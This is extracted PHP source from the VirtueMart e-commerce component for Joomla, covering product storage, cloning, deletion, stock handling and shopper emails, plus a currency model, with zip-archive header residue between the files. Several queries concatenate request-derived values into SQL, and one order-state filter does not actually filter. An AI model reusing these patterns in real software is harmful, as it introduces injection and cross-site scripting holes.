array(); foreach($old_price_ids as $key => $oldprice){ if(array_search($pricesToStore['virtuemart_product_price_id'], $oldprice )){ $pricesToStore = array_merge($oldprice,$pricesToStore); $toUnset[] = $key; } } $this->updateXrefAndChildTables ($pricesToStore, 'product_prices',$isChild); foreach($toUnset as $key){ unset( $old_price_ids[ $key ] ); } } } } } if ( count($old_price_ids) ) { $oldPriceIdsSql = array(); foreach($old_price_ids as $oldPride){ $oldPriceIdsSql[] = $oldPride['virtuemart_product_price_id']; } // delete old unused Prices $this->_db->setQuery( 'DELETE FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_price_id` in ("'.implode('","', $oldPriceIdsSql ).'") '); $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('In store prodcut, deleting old price error',$err); } } if (!empty($data['childs'])) { foreach ($data['childs'] as $productId => $child) { $child['product_parent_id'] = $data['virtuemart_product_id']; $child['virtuemart_product_id'] = $productId; $this->store ($child, TRUE); } } if (!$isChild) { $data = $this->updateXrefAndChildTables ($data, 'product_shoppergroups'); $data = $this->updateXrefAndChildTables ($data, 'product_manufacturers'); if (!empty($data['categories']) && count ($data['categories']) > 0) { $data['virtuemart_category_id'] = $data['categories']; } else { $data['virtuemart_category_id'] = array(); } $data = $this->updateXrefAndChildTables ($data, 'product_categories'); // Update waiting list //TODO what is this doing? if (!empty($data['notify_users'])) { if ($data['product_in_stock'] > 0 && $data['notify_users'] == '1') { $waitinglist = VmModel::getModel ('Waitinglist'); $waitinglist->notifyList ($data['virtuemart_product_id']); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'product'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } } return $product_data->virtuemart_product_id; } public function updateXrefAndChildTables ($data, $tableName, $preload = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); //First we load the xref table, to get the old data $product_table_Parent = $this->getTable ($tableName); //We must go that way, because the load function of the vmtablexarry // is working different. if($preload){ //$product_table_Parent->setOrderable('ordering',false); $orderingA = $product_table_Parent->load($data['virtuemart_product_id']); } $product_table_Parent->bindChecknStore ($data); $errors = $product_table_Parent->getErrors (); foreach ($errors as $error) { vmError ($error); } return $data; } /** * This function creates a child for a given product id * * @author Max Milbers * @author Patrick Kohl * @param int id of parent id */ public function createChild ($id) { // created_on , modified_on $db = JFactory::getDBO (); $vendorId = 1; $childs = count ($this->getProductChildIds ($id)); $db->setQuery ('SELECT `product_name`,`slug` FROM `#__virtuemart_products` JOIN `#__virtuemart_products_' . VMLANG . '` as l using (`virtuemart_product_id`) WHERE `virtuemart_product_id`=' . (int)$id); $parent = $db->loadObject (); $prodTable = $this->getTable ('products'); //$newslug = $parent->slug . $id . rand (1, 9); $newslug = $prodTable->checkCreateUnique('products_' . VmConfig::$vmlang,$parent->slug); $data = array('product_name' => $parent->product_name, 'slug' => $newslug, 'virtuemart_vendor_id' => (int)$vendorId, 'product_parent_id' => (int)$id); $prodTable->bindChecknStore ($data); $langs = (array)VmConfig::get ('active_languages'); if (count ($langs) > 1) { foreach ($langs as $lang) { $lang = str_replace ('-', '_', strtolower ($lang)); $db->setQuery ('SELECT `product_name` FROM `#__virtuemart_products_' . $lang . '` WHERE `virtuemart_product_id` = "' . $prodTable->virtuemart_product_id . '" '); $res = $db->loadResult (); if (!$res) { $db->setQuery ('INSERT INTO `#__virtuemart_products_' . $lang . '` (`virtuemart_product_id`,`slug`) VALUES ("' . $prodTable->virtuemart_product_id . '","' . $newslug . '");'); $db->query (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Database error: createChild ' . $err); } } } } return $data['virtuemart_product_id']; } /** * Creates a clone of a given product id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone ($id) { // if (is_array($cids)) $cids = array($cids); $product = $this->getProduct ($id, FALSE, FALSE, FALSE); $product->field = $this->productCustomsfieldsClone ($id); // vmdebug('$product->field',$product->field); $product->virtuemart_product_id = $product->virtuemart_product_price_id = 0; $product->mprices = $this->productPricesClone ($id); //Lets check if the user is admin or the mainvendor if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $admin = Permissions::getInstance()->check('admin'); if($admin){ $product->created_on = "0000-00-00 00:00:00"; $product->created_by = 0; } $product->slug = $product->slug . '-' . $id; $product->save_customfields = 1; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $result=$dispatcher->trigger ('plgVmCloneProduct', array(&$product)); $this->store ($product); return $this->_id; } private function productPricesClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_prices`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $prices = $this->_db->loadAssocList (); if ($prices) { foreach ($prices as $k => &$price) { unset($price['virtuemart_product_id'], $price['virtuemart_product_price_id']); if(empty($mprices[$k])) $mprices[$k] = array(); foreach ($price as $i => $value) { if(empty($mprices[$i])) $mprices[$i] = array(); $mprices[$i][$k] = $value; } } return $mprices; } else { return NULL; } } /* look if whe have a product type */ private function productCustomsfieldsClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_customfields`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $customfields = $this->_db->loadAssocList (); if ($customfields) { foreach ($customfields as &$customfield) { unset($customfield['virtuemart_product_id'], $customfield['virtuemart_customfield_id']); } return $customfields; } else { return NULL; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove ($ids) { $table = $this->getTable ($this->_maintablename); $cats = $this->getTable ('product_categories'); $customfields = $this->getTable ('product_customfields'); $manufacturers = $this->getTable ('product_manufacturers'); $medias = $this->getTable ('product_medias'); $prices = $this->getTable ('product_prices'); $shop = $this->getTable ('product_shoppergroups'); $rating = $this->getTable ('ratings'); $review = $this->getTable ('rating_reviews'); $votes = $this->getTable ('rating_votes'); $ok = TRUE; foreach ($ids as $id) { $childIds = $this->getProductChildIds ($id); if (!empty($childIds)) { vmError (JText::_ ('COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD')); $ok = FALSE; continue; } if (!$table->delete ($id)) { vmError ('Product delete ' . $table->getError ()); $ok = FALSE; } if (!$cats->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete categories ' . $cats->getError ()); $ok = FALSE; } if (!$customfields->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete customs ' . $customfields->getError ()); $ok = FALSE; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $id . '" AND `field_type`= "R"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } if (!$manufacturers->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete manufacturer ' . $manufacturers->getError ()); $ok = FALSE; } if (!$medias->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete medias ' . $medias->getError ()); $ok = FALSE; } if (!$prices->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete prices ' . $prices->getError ()); $ok = FALSE; } if (!$shop->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete shoppergroups ' . $shop->getError ()); $ok = FALSE; } if (!$rating->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete rating ' . $rating->getError ()); $ok = FALSE; } if (!$review->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete reviews ' . $review->getError ()); $ok = FALSE; } if (!$votes->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete votes ' . $votes->getError ()); $ok = FALSE; } // delete plugin on product delete // $ok must be set to false if an error occurs JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmOnDeleteProduct', array($id, &$ok)); } return $ok; } /** * Gets the price for a variant * * @author Max Milbers */ public function getPrice ($product, $customVariant, $quantity) { $this->_db = JFactory::getDBO (); // vmdebug('strange',$product); if (!is_object ($product)) { // vmError('deprecated use of getPrice'); $product = $this->getProduct ($product, TRUE, FALSE, TRUE,$quantity); // return false; } // Loads the product price details if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); // Calculate the modificator $variantPriceModification = $calculator->calculateModificators ($product, $customVariant); $prices = $calculator->getProductPrices ($product, $variantPriceModification, $quantity); return $prices; } /** * Get the Order By Select List * * notice by Max Milbers html tags should never be in a model. This function should be moved to a helper or simular,... * * @author Kohl Patrick * @access public * @param $fieds from config Back-end * @return $orderByList * Order,order By, manufacturer and category link List to echo Out **/ function getOrderByList ($virtuemart_category_id = FALSE) { $getArray = (JRequest::get ('get')); $link = ''; $fieldLink = ''; // remove setted variable unset ($getArray['globalCurrencyConverter'], $getArray['virtuemart_manufacturer_id'], $getArray['order'], $getArray['orderby']); // foreach ($getArray as $key => $value ) // $fieldLink .= '&'.$key.'='.$value; //vmdebug('getOrderByList',$getArray); foreach ($getArray as $key => $value) { if (is_array ($value)) { foreach ($value as $k => $v) { $fieldLink .= '&' . $key . '[' . $k . ']' . '=' . $v; } } else { if($key=='dir' or $key=='orderby') continue; if(empty($value)) continue; $fieldLink .= '&' . $key . '=' . $value; } } $fieldLink[0] = "?"; $fieldLink = 'index.php' . $fieldLink; $orderDirLink = ''; $orderDirConf = VmConfig::get ('prd_brws_orderby_dir'); $orderDir = JRequest::getWord ('dir', $orderDirConf); if ($orderDir != $orderDirConf ) { $orderDirLink .= '&dir=' . $orderDir; //was '&order=' } $orderbyTxt = ''; $orderby = JRequest::getVar ('orderby', VmConfig::get ('browse_orderby_field')); $orderby = $this->checkFilterOrder ($orderby); $orderbyCfg = VmConfig::get ('browse_orderby_field'); if ($orderby != $orderbyCfg) { $orderbyTxt = '&orderby=' . $orderby; } $manufacturerTxt = ''; $manufacturerLink = ''; if (VmConfig::get ('show_manufacturers')) { // manufacturer link list $virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', ''); if ($virtuemart_manufacturer_id != '') { $manufacturerTxt = '&virtuemart_manufacturer_id=' . $virtuemart_manufacturer_id; } // if ($mf_virtuemart_product_ids) { $query = 'SELECT DISTINCT l.`mf_name`,l.`virtuemart_manufacturer_id` FROM `#__virtuemart_manufacturers_' . VMLANG . '` as l'; $query .= ' JOIN `#__virtuemart_product_manufacturers` AS pm using (`virtuemart_manufacturer_id`)'; $query .= ' LEFT JOIN `#__virtuemart_products` as p ON p.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' LEFT JOIN `#__virtuemart_product_categories` as c ON c.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' WHERE p.`published` =1'; if ($virtuemart_category_id) { $query .= ' AND c.`virtuemart_category_id` =' . (int)$virtuemart_category_id; } $query .= ' ORDER BY l.`mf_name`'; $this->_db->setQuery ($query); $manufacturers = $this->_db->loadObjectList (); // vmdebug('my manufacturers',$this->_db->getQuery()); $manufacturerLink = ''; if (count ($manufacturers) > 0) { $manufacturerLink = '
        '; if ($virtuemart_manufacturer_id > 0) { $manufacturerLink .= ''; } if (count ($manufacturers) > 1) { foreach ($manufacturers as $mf) { $link = JRoute::_ ($fieldLink . '&virtuemart_manufacturer_id=' . $mf->virtuemart_manufacturer_id . $orderbyTxt . $orderDirLink,FALSE); if ($mf->virtuemart_manufacturer_id != $virtuemart_manufacturer_id) { $manufacturerLink .= ''; } else { $currentManufacturerLink = '
        ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
        ' . $mf->mf_name . '
        '; } } } elseif ($virtuemart_manufacturer_id > 0) { $currentManufacturerLink = '
        ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
        ' . $manufacturers[0]->mf_name . '
        '; } else { $currentManufacturerLink = '
        ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
        ' . $manufacturers[0]->mf_name . '
        '; } $manufacturerLink .= '
        '; } // } } /* order by link list*/ $orderByLink = ''; $fields = VmConfig::get ('browse_orderby_fields'); if (count ($fields) > 1) { $orderByLink = '
        '; foreach ($fields as $field) { if ($field != $orderby) { $dotps = strrpos ($field, '.'); if ($dotps !== FALSE) { $prefix = substr ($field, 0, $dotps + 1); $fieldWithoutPrefix = substr ($field, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; $fieldWithoutPrefix = $field; } $text = JText::_ ('COM_VIRTUEMART_' . strtoupper ($fieldWithoutPrefix)); $field = explode('.',$field); if(isset($field[1])){ $field = $field[1]; } else { $field = $field[0]; } $link = JRoute::_ ($fieldLink . $manufacturerTxt . '&orderby=' . $field,FALSE); $orderByLink .= ''; } } $orderByLink .= '
        '; } if($orderDir == 'ASC'){ $orderDir = 'DESC'; } else { $orderDir = 'ASC'; } if ($orderDir != $orderDirConf ) { $orderDirLink = '&dir=' . $orderDir; //was '&order=' } else { $orderDirLink = ''; } //$orderDirTxt = JText::_ ('COM_VIRTUEMART_SEARCH_ORDER_'.$orderDir); $orderDirTxt = JText::_ ('COM_VIRTUEMART_'.$orderDir); $link = JRoute::_ ($fieldLink . $orderbyTxt . $orderDirLink . $manufacturerTxt,FALSE); // full string list if ($orderby == '') { $orderby = $orderbyCfg; } $orderby = strtoupper ($orderby); $dotps = strrpos ($orderby, '.'); if ($dotps !== FALSE) { $prefix = substr ($orderby, 0, $dotps + 1); $orderby = substr ($orderby, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; // $orderby = $orderby; } $orderByList = '
        ' . JText::_ ('COM_VIRTUEMART_ORDERBY') . '
        '; $orderByList .= $orderByLink . '
        '; $manuList = ''; if (VmConfig::get ('show_manufacturers')) { if (empty ($currentManufacturerLink)) { $currentManufacturerLink = '
        ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
        ' . JText::_ ('COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER') . '
        '; } $manuList = '
        ' . $currentManufacturerLink; $manuList .= $manufacturerLink . '
        '; } return array('orderby'=> $orderByList, 'manufacturer'=> $manuList); } // ************************************************** //Stocks // /** * Get the stock level for a given product * * @author RolandD * @access public * @param object $product the product to get stocklevel for * @return array containing product objects */ public function getStockIndicator ($product) { $this->_db = JFactory::getDBO (); /* Assign class to indicator */ $stock_level = $product->product_in_stock - $product->product_ordered; $reorder_level = $product->low_stock_notification; $level = 'normalstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP'); if ($stock_level <= $reorder_level) { $level = 'lowstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP'); } if ($stock_level <= 0) { $level = 'nostock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP'); } $stock = new Stdclass(); $stock->stock_tip = $stock_tip; $stock->stock_level = $level; return $stock; } public function updateStockInDB ($product, $amount, $signInStock, $signOrderedStock) { // vmdebug( 'stockupdate in DB', $product->virtuemart_product_id,$amount, $signInStock, $signOrderedStock ); $validFields = array('=', '+', '-'); if (!in_array ($signInStock, $validFields)) { return FALSE; } if (!in_array ($signOrderedStock, $validFields)) { return FALSE; } //sanitize fields $id = (int)$product->virtuemart_product_id; $amount = (float)$amount; $update = array(); if ($signInStock != '=' or $signOrderedStock != '=') { if ($signInStock != '=') { $update[] = '`product_in_stock` = `product_in_stock` ' . $signInStock . $amount; if (strpos ($signInStock, '+') !== FALSE) { $signInStock = '-'; } else { $signInStock = '+'; } $update[] = '`product_sales` = `product_sales` ' . $signInStock . $amount; } if ($signOrderedStock != '=') { $update[] = '`product_ordered` = `product_ordered` ' . $signOrderedStock . $amount; } $q = 'UPDATE `#__virtuemart_products` SET ' . implode (", ", $update) . ' WHERE `virtuemart_product_id` = ' . $id; $this->_db->setQuery ($q); $this->_db->query (); //The low on stock notification comes now, when the people ordered. //You need to know that the stock is going low before you actually sent the wares, because then you ususally know it already yoursefl //note by Max Milbers if ($signInStock == '+') { $this->_db->setQuery ('SELECT (IFNULL(`product_in_stock`,"0")+IFNULL(`product_ordered`,"0")) < IFNULL(`low_stock_notification`,"0") ' . 'FROM `#__virtuemart_products` ' . 'WHERE `virtuemart_product_id` = ' . $id ); if ($this->_db->loadResult () == 1) { $this->lowStockWarningEmail( $id) ; } } } } function lowStockWarningEmail($virtuemart_product_id) { if(VmConfig::get('lstockmail',TRUE)){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } /* Load the product details */ $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $this->_db->setQuery ($q); $vars = $this->_db->loadAssoc (); $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $link = ''. $vars['product_name'].''; $vars['subject'] = JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT',$vars['product_name']); $vars['mailbody'] =JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY',$link, $vars['product_in_stock']); $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['user'] = $vendor->vendor_store_name ; shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE) ; return TRUE; } else { return FALSE; } } public function getUncategorizedChildren ($withParent) { if (empty($this->_uncategorizedChildren[$this->_id])) { //Todo add check for shoppergroup depended product display $q = 'SELECT * FROM `#__virtuemart_products` as p LEFT JOIN `#__virtuemart_products_' . VMLANG . '` as pl USING (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` as pc USING (`virtuemart_product_id`) '; // $q .= ' WHERE (`product_parent_id` = "'.$this->_id.'" AND (pc.`virtuemart_category_id`) IS NULL ) OR (`virtuemart_product_id` = "'.$this->_id.'" ) '; if ($withParent) { $q .= ' WHERE (`product_parent_id` = "' . $this->_id . '" OR `virtuemart_product_id` = "' . $this->_id . '") '; } else { $q .= ' WHERE `product_parent_id` = "' . $this->_id . '" '; } $app = JFactory::getApplication (); if ($app->isSite () && !VmConfig::get ('use_as_catalog', 0) && VmConfig::get ('stockhandle', 'none') == 'disableit') { $q .= ' AND p.`product_in_stock`>"0" '; } if ($app->isSite ()) { $q .= ' AND p.`published`="1"'; } $q .= ' GROUP BY `virtuemart_product_id` ORDER BY p.pordering ASC'; $this->_db->setQuery ($q); $this->_uncategorizedChildren[$this->_id] = $this->_db->loadAssocList (); $err = $this->_db->getErrorMsg (); if (!empty($err)) { vmError ('getUncategorizedChildren sql error ' . $err, 'getUncategorizedChildren sql error'); vmdebug ('getUncategorizedChildren ' . $err); return FALSE; } // vmdebug('getUncategorizedChildren '.$this->_db->getQuery(),$this->_uncategorizedChildren); } return $this->_uncategorizedChildren[$this->_id]; } /** * Check if the product has any children * * @author RolandD * @author Max Milbers * @param int $virtuemart_product_id Product ID * @return bool True if there are child products, false if there are no child products */ public function checkChildProducts ($virtuemart_product_id) { $q = 'SELECT IF(COUNT(virtuemart_product_id) > 0, "0", "1") FROM `#__virtuemart_products` WHERE `product_parent_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); return $this->_db->loadResult (); } function getProductChilds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products_' . VMLANG . '` JOIN `#__virtuemart_products` as C using (`virtuemart_product_id`) WHERE `product_parent_id` =' . (int)$product_id); return $db->loadObjectList (); } function getProductChildIds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id FROM `#__virtuemart_products` WHERE `product_parent_id` =' . (int)$product_id.' ORDER BY pordering ASC'); return $db->loadResultArray (); } function getProductParent ($product_parent_id) { if (empty($product_parent_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT * FROM `#__virtuemart_products_' . VMLANG . '` WHERE `virtuemart_product_id` =' . (int)$product_parent_id); return $db->loadObject (); } function sentProductEmailToShoppers () { jimport ('joomla.utilities.arrayhelper'); if (!class_exists ('ShopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $product_id = JRequest::getVar ('virtuemart_product_id', ''); vmdebug ('sentProductEmailToShoppers product id', $product_id); $vars = array(); $vars['subject'] = JRequest::getVar ('subject'); $vars['mailbody'] = JRequest::getVar ('mailbody'); $order_states = JRequest::getVar ('statut', array(), '', 'ARRAY'); $productShoppers = $this->getProductShoppersByStatus ($product_id, $order_states); vmdebug ('productShoppers ', $productShoppers); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($product_id); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); $orderModel = VmModel::getModel ('orders'); foreach ($productShoppers as $productShopper) { $vars['user'] = $productShopper['name']; if (shopFunctionsF::renderMail ('productdetails', $productShopper['email'], $vars, 'productdetails', TRUE)) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } /* Update the order history for each order */ foreach ($productShopper['order_info'] as $order_info) { $orderModel->_updateOrderHist ($order_info['order_id'], $order_info['order_status'], 1, $vars['subject'] . ' ' . $vars['mailbody']); } // todo: when there is an error while sending emails //vmInfo (JText::sprintf ($string, $productShopper['email'])); } } public function getProductShoppersByStatus ($product_id, $states) { if (empty($states)) { return FALSE; } $orderstatusModel = VmModel::getModel ('orderstatus'); $orderStates = $orderstatusModel->getOrderStatusNames (); foreach ($states as &$status) { if (!array_key_exists ($status, $orderStates)) { unset($status); } } if (empty($states)) { return FALSE; } $q = 'SELECT ou.* , oi.product_quantity , o.order_number, o.order_status, oi.`order_status` AS order_item_status , o.virtuemart_order_id FROM `#__virtuemart_order_userinfos` as ou JOIN `#__virtuemart_order_items` AS oi USING (`virtuemart_order_id`) JOIN `#__virtuemart_orders` AS o ON o.`virtuemart_order_id` = oi.`virtuemart_order_id` WHERE ou.`address_type`="BT" AND oi.`virtuemart_product_id`=' . (int)$product_id; if (count ($orderStates) !== count ($states)) { $q .= ' AND oi.`order_status` IN ( "' . implode ('","', $states) . '") '; } $q .= ' ORDER BY ou.`email` ASC'; $this->_db->setQuery ($q); $productShoppers = $this->_db->loadAssocList (); $shoppers = array(); foreach ($productShoppers as $productShopper) { $key = $productShopper['email']; if (!array_key_exists ($key, $shoppers)) { $shoppers[$key]['phone'] = !empty($productShopper['phone_1']) ? $productShopper['phone_1'] : (!empty($productShopper['phone_2']) ? $productShopper['phone_2'] : '-'); $shoppers[$key]['name'] = $productShopper['first_name'] . ' ' . $productShopper['last_name']; $shoppers[$key]['email'] = $productShopper['email']; $shoppers[$key]['mail_to'] = 'mailto:' . $productShopper['email']; $shoppers[$key]['nb_orders'] = 0; } $i = $shoppers[$key]['nb_orders']; $shoppers[$key]['order_info'][$i]['order_number'] = $productShopper['order_number']; $shoppers[$key]['order_info'][$i]['order_id'] = $productShopper['virtuemart_order_id']; $shoppers[$key]['order_info'][$i]['order_status'] = $productShopper['order_status']; $shoppers[$key]['order_info'][$i]['order_item_status_name'] = $orderStates[$productShopper['order_item_status']]['order_status_name']; $shoppers[$key]['order_info'][$i]['quantity'] = $productShopper['product_quantity']; $shoppers[$key]['nb_orders']++; } return $shoppers; } } // No closing tagPK@y>\Jz>&&-components/com_virtuemart/models/currency.phpnuW+AsetMainTable('currencies'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ function getCurrency($currency_id=0) { if(!empty($currency_id)) $this->setId((int)$currency_id); if (empty($this->_data) ) { $this->_data = $this->getTable('currencies'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of currencies from the database. * This function is used in the backend for the currency listing, therefore no asking if enabled or not * @author Max Milbers * @return object List of currency objects */ function getCurrenciesList($search,$vendorId=1) { $where = array(); // $this->_query = 'SELECT * FROM `#__virtuemart_currencies` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } if(empty($search)){ $search = JRequest::getString('search', false); } /* add filters */ if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] = '`currency_name` LIKE '.$search.' OR `currency_code_2` LIKE '.$search.' OR `currency_code_3` LIKE '.$search; } // if (JRequest::getString('search', false)) $where[] = '`currency_name` LIKE "%'.$this->_db->getEscaped(JRequest::getString('search')).'%"'; $whereString=''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; // if (count($where) > 0) $this->_query .= ' WHERE '.implode(' AND ', $where) ; // $this->_query .= $this->_getOrdering('currency_name'); // $this->_data = $this->_getList($this->_query, $this->getState('limitstart'), $this->getState('limit')); // $this->_total = $this->_getListCount($this->_query) ; // $object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_currencies`',$whereString,'',$this->_getOrdering()); return $this->_data; // return $this->_data; } /** * Retireve a list of currencies from the database. * * This is written to get a list for selecting currencies. Therefore it asks for enabled * @author Max Milbers * @return object List of currency objects */ function getCurrencies($vendorId=1) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE (`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1") AND published = "1" ORDER BY `#__virtuemart_currencies`.`currency_name`'; $db->setQuery($q); return $db->loadObjectList(); } } // pure php no closing tagPK@y>\B%!S!S5components/com_virtuemart/models/updatesmigration.phpnuW+A 0) { $this->_user = JFactory::getUser($virtuemart_user_id); } else { $this->_user = JFactory::getUser(); } return $this->_user->id; } /** * @author Max Milbers */ function setStoreOwner($userId=-1) { $allowInsert=FALSE; if($userId===-1){ $allowInsert = TRUE; $userId = 0; } if (empty($userId)) { $userId = $this->determineStoreOwner(); vmdebug('setStoreOwner $userId = '.$userId.' by determineStoreOwner'); } $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $userId . '" '); $oldUserId = $db->loadResult(); if (!empty($oldUserId) and !empty($userId)) { $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "0", `user_is_vendor` = "0", `perms` = "" WHERE `virtuemart_vendor_id` ="1" '); if ($db->query() == false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "1", `user_is_vendor` = "1", `perms` = "admin" WHERE `virtuemart_user_id` ="'.$userId.'" '); if ($db->query() === false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser updated new main vendor has user id '.$userId); } } else if($allowInsert){ $db->setQuery('INSERT `#__virtuemart_vmusers` (`virtuemart_user_id`, `user_is_vendor`, `virtuemart_vendor_id`, `perms`) VALUES ("' . $userId . '", "1","1","admin")'); if ($db->query() === false ) { JError::raiseWarning(1, 'setStoreOwner was not possible to execute INSERT __vmusers for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser inserted new main vendor has user id '.$userId); } } return $userId; } /** * Syncs user permission * * @param int virtuemart_user_id * @return bool true on success * @author Christopher Roussel */ function setUserToPermissionGroup ($userId=0) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $usersTable = $this->getTable('vmusers'); $usersTable->load((int)$userId); $perm = Permissions::getInstance(); $usersTable->perms = $perm->getPermissions($userId); $result = $usersTable->check(); if ($result) { $result = $usersTable->store(); } if (!$result) { $errors = $usersTable->getErrors(); foreach($errors as $error) { vmError(get_class( $this ).'::setUserToPermissionGroup user '.$error); } return false; } $xrefTable = $this->getTable('vmuser_shoppergroups'); $data = $xrefTable->load((int)$userId); if (empty($data)) { $data = 